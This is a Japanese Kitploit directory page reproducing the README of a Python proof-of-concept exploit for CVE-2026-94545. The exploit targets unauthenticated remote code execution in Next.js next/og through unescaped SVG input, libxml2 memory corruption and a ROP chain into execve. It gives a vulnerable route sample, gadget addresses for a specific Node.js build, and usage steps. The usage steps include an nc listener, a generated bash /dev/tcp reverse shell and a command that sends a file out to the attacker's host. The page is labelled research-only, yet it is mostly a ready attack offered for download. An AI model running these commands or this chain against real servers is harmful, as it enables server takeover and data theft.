Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-94545- — CVE-2026-94545 の Python PoC:Next.js の next/og におけるエスケープされていない SVG 入力を悪用し、libxml2 の破損と ROP チェーンを引き起こして未認証の RCE を実現します。 | Kitploit
ツール/GitHubGitHub/mrdark-ops/cve-2026-94545-
ペイロード生成脆弱性分析エクスプロイトシェルコードウェブアプリケーション悪用ウェブセキュリティバイナリエクスプロイト
GitHubmrdark-ops/cve-2026-94545-

CVE-2026-94545-

CVE-2026-94545 の Python PoC:Next.js の next/og におけるエスケープされていない SVG 入力を悪用し、libxml2 の破損と ROP チェーンを引き起こして未認証の RCE を実現します。

リポジトリを見る
111ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-94545: Next.js next/og 未認証のリモートコード実行

セキュリティ研究目的のみ、許可された脆弱性環境でのみ使用してください。

項目値
CVECVE-2026-94545 / GHSA-vcvr-r3jv-pc5j
上流Satori GHSA-wx4j-mvgx-mqwp
根本原因CWE-116 (出力の不適切なエンコードまたはエスケープ) → ネイティブ XML パーサーのメモリ破壊 → RCE
影響範囲Next.js 16.2.0 – 16.3.5 (sharp がインストールされた Node ランタイム); バンドルされた Satori ≥ 0.0.27 かつ < 0.33.5
修正済みNext.js 16.3.6 / Satori 0.33.5
影響認証なしで Next.js サービスプロセス内の任意のコマンドを実行
検証済みスタックNext.js 16.3.5 + sharp 0.35.4 (libvips 8.18.6、librsvg 2.62.91、libxml2 2.15.3) + Node.js v24.20.0 公式 x64 バイナリ (非 PIE)

Edge ランタイム (export const runtime = 'edge') を使用する場合、または sharp がインストールされていない場合、レンダリングは resvg-wasm サンドボックスを経由するため、この脆弱性はネイティブのパースチェーンに到達せず、したがって RCE にはなりません。

脆弱性チェーン

ユーザー入力はプレーンテキストとして SVG に連結され、この SVG はそのまま data: URL に詰め込まれて C 言語の XML パーサーに渡され、2 回目のパースが行われます。その間に行われるのは URL エンコードのみであり、XML エスケープは一切行われません。

レイヤー 1: App Router — 信頼できない入力がレンダー関数に到達

典型的なパターン: POST /api/og がリクエストボディ全体を、または GET /api/og?value= がクエリパラメータを、フィルタリングやエスケープなしで ImageResponse の SVG <title> に直接配置します。

import { ImageResponse } from 'next/og'

export const runtime = 'nodejs'
export const dynamic = 'force-dynamic'

async function render(request) {
  const url = new URL(request.url)
  const value = request.method === 'POST'
    ? await request.text()
    : (url.searchParams.get('value') ?? '')
  return new ImageResponse(
    <svg width="1200" height="630"><title>{value}</title></svg>,
    { width: 1200, height: 630 }
  )
}

export const GET = render
export const POST = render

ImageResponse は JSX 要素ツリーを受け取り、PNG を返します。リクエストデータを SVG の子ノード / 属性 / スタイルに書き込むルートはすべてシンクです。

レイヤー 2: next/og エントリの転送

node_modules/next/og.js は next/dist/server/og/image-response.js に転送します。Node ランタイムは next/dist/compiled/@vercel/og/index.node.js(ネイティブパス)を動的に読み込みます。Edge ランタイムは wasm パスを読み込むため、この脆弱性の影響を受けません。

レイヤー 3: @vercel/og — Satori が SVG を生成し、ラスタライズのために引き渡す

Next.js にバンドルされた @vercel/og(コンパイル済みアーティファクトのコメントにより [email protected] を含むことが確認されています)のフローは次のとおりです:

  1. Satori を使用して JSX ツリーを SVG 文字列にシリアライズします。
  2. sharp が検出された場合、SVG をネイティブライブラリに渡してラスタライズします。それ以外の場合は resvg-wasm にフォールバックします。
const svg = await satori2(element, { width, height, fonts, ... })
if (sharp) {
  pngBuffer = await sharp(new TextEncoder().encode(svg)).resize(width).png().toBuffer()
} else {
  const resvgJS = new resvg.Resvg(svg, { fitTo: { mode: ... } })
}

この時点で、ユーザー入力はすでに SVG 文字列となっており、そのまま sharp(ネイティブ libvips)に渡されます。

レイヤー 4: Satori 0.25.0 — テキストは URL エンコードされるだけで、XML エスケープはされない

JSX で明示的に記述された <svg> の場合、Satori はそれを丸ごと data:image/svg+xml URL にシリアライズし、出力に <image> として埋め込みます。

vercel/[email protected] の src/layout.ts: <svg> ノードに入ると SVGNodeToImage を呼び出します。

src/handler/preprocess.ts には 2 つの重大な欠陥があります:

const SVGSymbols = /[\r\n%#()<>?[\\\]^`{|}"']/g   // Only used for URI percent-encoding

export function translateSVGNodeToSVGString(node, inheritedColor) {
  if (typeof node !== 'object') return String(node)  // Flaw 1: string child nodes are returned as-is, with no XML entity escaping
  return `<${type}${attrs}${styles}>${translateSVGNodeToSVGString(children, currentColor)}</${type}>`
}

export async function SVGNodeToImage(element, inheritedColor) {
  return `data:image/svg+xml;utf8,${`<svg ...>...</svg>`.replace(SVGSymbols, encodeURIComponent)}`
  // Flaw 2: only URI percent-encoding is performed, not XML escaping
}

&、<、> は &amp; / &lt; / &gt; として書き出されません。パーセントエンコーディングはあくまで URL 構文上の要件にすぎません。下流のパーサーが data: URL を読み込むとき、%3C/title%3E は実際の </title> に復元され、攻撃者のテキストは「データ」から「文書構造」へと遷移します。

入力が </title><xi:include …/><title> の場合、Satori から sharp へ渡される中間 SVG は次の形式になります(説明のためデコード済み):

<svg width="1200" height="630" viewBox="0 0 1200 630" xmlns="http://www.w3.org/2000/svg">
  <image x="0" y="0" width="1200" height="630"
     href="data:image/svg+xml;utf8,...<title></title><xi:include
           xmlns:xi='http://www.w3.org/2001/XInclude'
           href='data:image/svg+xml,...' parse='xml'/><title></title>..." />
</svg>

レイヤー5: sharp → libvips → librsvg → libxml2 — ネイティブパースとメモリ破壊

sharp(SVG buffer)
 → libvips  vips_foreign_load_svg_buffer()
 → librsvg  rsvg_handle_new_from_stream_with_flags()
              ├─ Parses the outer SVG
              ├─ When it encounters <image href="data:image/svg+xml,...">, loads and re-parses the sub-document
              └─ XML parsing is delegated to libxml2
 → libxml2  xmlStringLenDecodeEntities / xmlXIncludeProcessNode / xmlXIncludeLoadDoc

ペイロードは2層のインジェクションを用いてlibxml2の入力構造を制御します:

  1. 外側の </title><xi:include parse="xml" href="data:…"> により、パーサーは攻撃者が完全に制御するネストされたドキュメントの読み込みへとジャンプします。
  2. ネストされたドキュメント内では、ネストされたDTDエンティティ + XInclude を用いて、過度に深く/広いエンティティ展開および参照グラフを構築します。

libxml2の内部状態が想定を超えて押し出され、その結果として範囲外書き込みが発生します。この破壊効果は、慎重に配置されたSVG <path> 座標シーケンス(8バイトのリトルエンディアンワードを運ぶIEEE-754倍精度浮動小数点数)を介して確実に着地し、それによって制御フローをハイジャックします。

レイヤー6: 非PIE Node固定アドレスROP → execve

公式リリースのNode.js linux-x64バイナリは非PIE実行ファイルであり、ロードベースが固定されているため、PLT / GOTおよびガジェットのアドレスは一定であり、情報リークは不要です。

このPoCはNode.js v24.20.0公式x64に対してビルドされており、ガジェットは以下のとおりです:

シンボルアドレス用途
POP_RDI0xA1EAEDpop rdi ; ret
POP_RAX0x7F38D4pop rax ; ret
POP_RSI0x95823Dpop rsi ; ret
POP_RDX0x776758pop rdx ; ret
STOSQ_RET0xD16725stosq ; ret(スクラッチにqword単位で書き込む)
EXECVE_PLT0x745FA0execve のPLTスタブ
SCRATCH0x6B5F500固定の書き込み可能アドレス

ROPチェーンはまず pop rax / stosq を用いて "/bin/sh\0"、"-c\0"、コマンド文字列、およびargv配列をqword単位で SCRATCH に書き込み、その後 rdi = path、rsi = argv、rdx = envp(0) を設定し、EXECVE_PLT へジャンプします:

execve("/bin/sh", ["/bin/sh", "-c", "<command>"], NULL)

レンダリングプロセス自体が execve に置き換えられ、HTTP 接続が切断されてサービスが応答しなくなります。これはこの脆弱性の悪用が成功したことの本質的な現れです。新しいプロセスは Node プロセスの環境を継承し、任意のコマンドを実行できます。

スクリプトの使用方法

exploit.py は Python 3 標準ライブラリで実装されており、サードパーティの依存関係はありません。コマンドを SVG の <path> 座標にエンコードし、XInclude + ネストした DTD エンティティを介して /api/og に POST されるペイロードを組み立てます。

ROP チェーンは、上記で説明した Node v24.20.0 / sharp 0.35.4 のスタックに合わせて調整されています。ターゲットは以下を満たす必要があります。

  • Next.js 16.2.0 – 16.3.5、ルート runtime = 'nodejs'、sharp がインストールされていること
  • 公式の非 PIE Node.js v24.20.0 linux-x64(ガジェットアドレスはそのビルドに紐づいています)
  • OG ルートは認証を必要とせず、ユーザー入力が SVG テキストノードに入る(デフォルトでは <title> を介して閉じられる)
  • コマンド出力は HTTP レスポンスに現れません。リバースシェルまたは帯域外の持ち出しが必要であり、ターゲットマシンがあなたの受信側に到達できる必要があります

厳格な制約:

  1. 悪用が成功するたびにウェブサイトのプロセスが終了します。接続リセット / 空のレスポンス / その後の 502 はすべて想定内です。次の試行の前に環境を再起動してください。
  2. コマンドは印刷可能な ASCII でなければならず、NUL を含まず、長さが 71 バイト以下 である必要があります。
  3. ターゲットでは /bin/sh は通常 dash であり、>/dev/tcp/... をサポートしていません。/dev/tcp が必要な場合は、bash -c '...' でラップしてください。
  4. スクリプトはデフォルトで HTTP を使用します。ターゲットが HTTPS の場合は、--output を使用してペイロードのみを生成し、その後 curl で自分自身で送信してください。

リバースシェル

受信側で先にリスナーを起動するか、スクリプトに nc を直接起動させてください:

# In another terminal on your machine
nc -lvnp 4444

python3 exploit.py --target <host>:<port> --lhost <lhost>:4444

--lhost が --command なしで指定された場合、スクリプトは次を生成します:

bash -c 'bash -i>&/dev/tcp/<lhost>/<port> 0>&1'

シェルを取得したら、ファイルを読み取り、後続のコマンドを実行できます。コマンド全体が依然として71バイトの制限を受けることに注意してください。

ワンショットのアウトオブバンド流出

# Receiver
nc -lvnp 4444

python3 exploit.py --target <host>:<port> \
  --command 'bash -c "cat /flag>/dev/tcp/<lhost>/4444"'

ペイロードのみを生成し、自分で配信する

ツールをダウンロード